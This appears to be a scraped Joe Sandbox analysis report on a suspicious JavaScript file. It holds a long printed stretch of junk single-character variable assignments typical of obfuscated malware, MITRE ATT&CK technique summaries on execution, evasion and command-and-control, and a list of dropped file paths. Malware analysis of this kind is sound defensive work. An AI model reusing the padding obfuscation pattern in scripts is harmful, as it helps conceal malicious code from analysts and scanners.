1165	gkubtzb = "C";
1166	gkubtzb = "X";
1167	gkubtzb = "r";
1168	gkubtzb = "h";
1169	gkubtzb = "I";
1170	gkubtzb = "k";
1171	gkubtzb = "Q";
1172	gkubtzb = "f";
1173	gkubtzb = "e";
1174	gkubtzb = "O";
1175	gkubtzb = "S";
1176	gkubtzb = "C";
1177	gkubtzb = "W";
1178	gkubtzb = "p";
1179	gkubtzb = "j";
1180	gkubtzb = "u";
1181	gkubtzb = "E";
1182	gkubtzb = "r";
1183	gkubtzb = "x";
1184	gkubtzb = "S";
1185	gkubtzb = "V";
1186	gkubtzb = "R";
1187	gkubtzb = "W";
1188	gkubtzb = "w";
1189	gkubtzb = "a";
1190	gkubtzb = "S";
1191	gkubtzb = "Z";
1192	gkubtzb = "o";
1193	gkubtzb = "Q";
1194	gkubtzb = "r";
1195	gkubtzb = "S";
1196	gkubtzb = "C";
1197	gkubtzb = "j";
1198	gkubtzb = "d";
1199	gkubtzb = "h";
1200	gkubtzb = "l";
1201	gkubtzb = "n";
1202	gkubtzb = "T";
1203	gkubtzb = "c";
1204	gkubtzb = "z";
1205	gkubtzb = "g";
1206	gkubtzb = "g";
1207	bzoirwbzf = "X";
1208	bzoirwbzf = "T";
1209	bzoirwbzf = "y";
1210	bzoirwbzf = "O";
1211	bzoirwbzf = "r";
1212	bzoirwbzf = "S";
1213	bzoirwbzf = "i";
1214	bzoirwbzf = "X";
1215	bzoirwbzf = "Y";
1216	bzoirwbzf = "t";
1217	bzoirwbzf = "q";
1218	bzoirwbzf = "N";
1219	bzoirwbzf = "M";
1220	bzoirwbzf = "b";
1221	bzoirwbzf = "p";
1222	bzoirwbzf = "K";
1223	bzoirwbzf = "z";
1224	bzoirwbzf = "H";
1225	bzoirwbzf = "P";
1226	bzoirwbzf = "z";
1227	bzoirwbzf = "i";
1228	bzoirwbzf = "X";
1229	bzoirwbzf = "L";
1230	bzoirwbzf = "B";
1231	bzoirwbzf = "w";
1232	bzoirwbzf = "Y";
1233	bzoirwbzf = "l";
1234	bzoirwbzf = "i";
1235	bzoirwbzf = "I";
1236	bzoirwbzf = "W";
1237	bzoirwbzf = "u";
1238	bzoirwbzf = "C";
1239	bzoirwbzf = "P";
1240	bzoirwbzf = "N";
1241	bzoirwbzf = "X";
1242	bzoirwbzf = "F";
1243	bzoirwbzf = "w";
1244	bzoirwbzf = "f";
1245	hlcqw = "u";
1246	hlcqw = "A";
1247	hlcqw = "y";
1248	hlcqw = "i";
1249	hlcqw = "h";
1250	hlcqw = "D";
1251	hlcqw = "n";
1252	hlcqw = "D";
1253	hlcqw = "n";
1254	hlcqw = "B";
1255	hlcqw = "N";
1256	hlcqw = "X";
1257	hlcqw = "b";
1258	hlcqw = "s";
1259	ehmstxyfe = "Q";
1260	ehmstxyfe = "Q";
1261	ehmstxyfe = "n";
1262	ehmstxyfe = "k";
1263	ehmstxyfe = "T";
1264	mnhyvtybs = "K";
1265	mnhyvtybs = "F";
1266	mnhyvtybs = "H";
1267	mnhyvtybs = "r";
1268	mnhyvtybs = "k";
1269	mnhyvtybs = "Y";
1270	mnhyvtybs = "e";
1271	mnhyvtybs = "B";
1272	mnhyvtybs = "f";
1273	mnhyvtybs = "P";
1274	mnhyvtybs = "Q";
1275	mnhyvtybs = "i";
1276	mnhyvtybs = "G";
1277	mnhyvtybs = "y";
1278	mnhyvtybs = "H";
1279	mnhyvtybs = "n";
1280	mnhyvtybs = "S";
1281	mnhyvtybs = "x";
1282	mnhyvtybs = "i";
1283	mnhyvtybs = "o";
1284	mnhyvtybs = "s";
1285	mnhyvtybs = "g";
1286	mnhyvtybs = "x";
1287	mnhyvtybs = "i";
1288	mnhyvtybs = "f";
1289	mnhyvtybs = "Q";
1290	mnhyvtybs = "v";
1291	mnhyvtybs = "q";
1292	mnhyvtybs = "l";
1293	mnhyvtybs = "A";
1294	mnhyvtybs = "A";
1295	mnhyvtybs = "R";
1296	mnhyvtybs = "f";
1297	mnhyvtybs = "U";
1298	mnhyvtybs = "m";
1299	mnhyvtybs = "0";
1300	saxgut = "l";
1301	saxgut = "L";
1302	saxgut = "E";
1303	saxgut = "z";
1304	saxgut = "x";
1305	saxgut = "b";
1306	saxgut = "y";
1307	saxgut = "u";
1308	saxgut = "t";
1309	saxgut = "X";
1310	saxgut = "R";
1311	saxgut = "E";
1312	saxgut = "q";
1313	saxgut = "P";
1314	saxgut = "h";
1315	saxgut = "m";
1316	saxgut = "y";
1317	saxgut = "Y";
1318	saxgut = "y";
1319	saxgut = "X";
1320	saxgut = "k";
1321	saxgut = "a";
1322	saxgut = "q";
1323	saxgut = "m";
1324	saxgut = "w";
1325	saxgut = "m";
1326	saxgut = "J";
1327	saxgut = "b";
1328	saxgut = "L";
1329	saxgut = "u";
1330	saxgut = "J";
1331	saxgut = "D";
1332	saxgut = "l";
1333	saxgut = "a";
1334	saxgut = "G";
1335	saxgut = "s";
1336	saxgut = "H";
1337	saxgut = "D";
1338	saxgut = "K";
1339	saxgut = "G";
1340	saxgut = "v";
1341	saxgut = "-";
1342	jimsevv = "w";
1343	jimsevv = "i";
1344	jimsevv = "q";
1345	jimsevv = "J";
1346	jimsevv = "g";
1347	jimsevv = "/";
1348	ijlhc = "H";
1349	ijlhc = "T";
1350	ijlhc = "s";
1351	ijlhc = "G";
1352	ijlhc = "x";
1353	ijlhc = "k";
1354	ijlhc = "J";
1355	ijlhc = "r";
1356	ijlhc = "C";
1357	ijlhc = "X";
1358	ijlhc = "Y";
1359	ijlhc = "U";
1360	zxhory = "u";
1361	zxhory = "D";
1362	zxhory = "i";
1363	zxhory = "j";
1364	zxhory = "n";
1365	zxhory = "u";
1366	zxhory = "v";
1367	zxhory = "j";
1368	zxhory = "w";
1369	zxhory = "X";
1370	zxhory = "G";
1371	zxhory = "N";
1372	zxhory = "A";
1373	zxhory = "F";
1374	zxhory = "X";
1375	zxhory = "V";
1376	zxhory = "B";
1377	zxhory = "u";
1378	zxhory = "w";
1379	zxhory = "f";
1380	zxhory = "x";
1381	zxhory = "Z";
1382	zxhory = "s";
1383	zxhory = "z";
1384	zxhory = "p";
1385	zxhory = "m";
1386	zxhory = "P";
1387	zxhory = "m";
1388	zxhory = "P";
1389	zxhory = "x";
1390	vtptstnv = "I";
1391	vtptstnv = "K";
1392	vtptstnv = "j";
1393	vtptstnv = "t";
1394	vtptstnv = "o";
1395	vtptstnv = "b";
1396	vtptstnv = "F";
1397	vtptstnv = "q";
1398	vtptstnv = "z";
1399	vtptstnv = "M";
1400	vtptstnv = "Q";
1401	vtptstnv = "V";
1402	vtptstnv = "x";
1403	vtptstnv = "R";
1404	vtptstnv = "p";
1405	vtptstnv = "q";
1406	mgyymhskj = "k";
1407	mgyymhskj = "W";
1408	mgyymhskj = "r";
1409	mgyymhskj = "g";
1410	mgyymhskj = "N";
1411	mgyymhskj = "b";
1412	ladtquo = "Y";
1413	ladtquo = "V";
1414	ladtquo = "V";
1415	ladtquo = "S";
1416	ladtquo = "n";
1417	ladtquo = "V";
1418	ladtquo = "k";
1419	ladtquo = "f";
1420	ladtquo = "z";
1421	ladtquo = "q";
1422	ladtquo = "I";
1423	ladtquo = "d";
1424	ladtquo = "u";
1425	ladtquo = "W";
1426	ladtquo = "l";
1427	ladtquo = "s";
1428	ladtquo = "L";
1429	ladtquo = "F";
1430	ladtquo = "G";
1431	ladtquo = "J";
1432	ladtquo = "O";
1433	ladtquo = "H";
1434	ladtquo = "a";
1435	ladtquo = "W";
1436	ladtquo = "e";
1437	ladtquo = "V";
1438	ladtquo = "F";
1439	ladtquo = "L";
1440	ladtquo = "v";
1441	ladtquo = "z";
1442	ladtquo = "c";
1443	ladtquo = "P";
1444	ladtquo = "J";
1445	ladtquo = "d";
1446	ladtquo = "l";
1447	olvdc = "B";
1448	olvdc = "d";
1449	olvdc = "f";
1450	olvdc = "b";
1451	olvdc = "S";
1452	olvdc = "j";
1453	olvdc = "A";
1454	olvdc = "g";
1455	olvdc = "R";
1456	olvdc = "I";
1457	olvdc = "I";
1458	olvdc = "g";
1459	olvdc = "v";
1460	olvdc = "W";
1461	olvdc = "O";
1462	olvdc = "X";
1463	olvdc = "i";
1464	olvdc = "q";
1465	olvdc = "p";
1466	olvdc = "S";
1467	olvdc = "L";
1468	olvdc = "a";
1469	olvdc = "D";
1470	olvdc = "a";
1471	olvdc = "y";
1472	olvdc = "W";
1473	olvdc = "u";
1474	olvdc = "Z";
1475	olvdc = "c";
1476	olvdc = "a";
1477	olvdc = "e";
1478	olvdc = "G";
1479	olvdc = "J";
1480	olvdc = "p";
1481	olvdc = "N";
1482	olvdc = "y";
1483	olvdc = "z";
1484	olvdc = "a";
1485	olvdc = "c";
1486	olvdc = "i";
1487	olvdc = "o";
1488	olvdc = "m";
1489	olvdc = "K";
1490	gmqwlolvq = "m";
1491	gmqwlolvq = "r";
1492	gmqwlolvq = "E";
1493	jfkno ( );	jfkno() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 29112223682907312977.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\304982f2-fb95-4061-82a3-9ab461ce363c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
29112223682907312977.js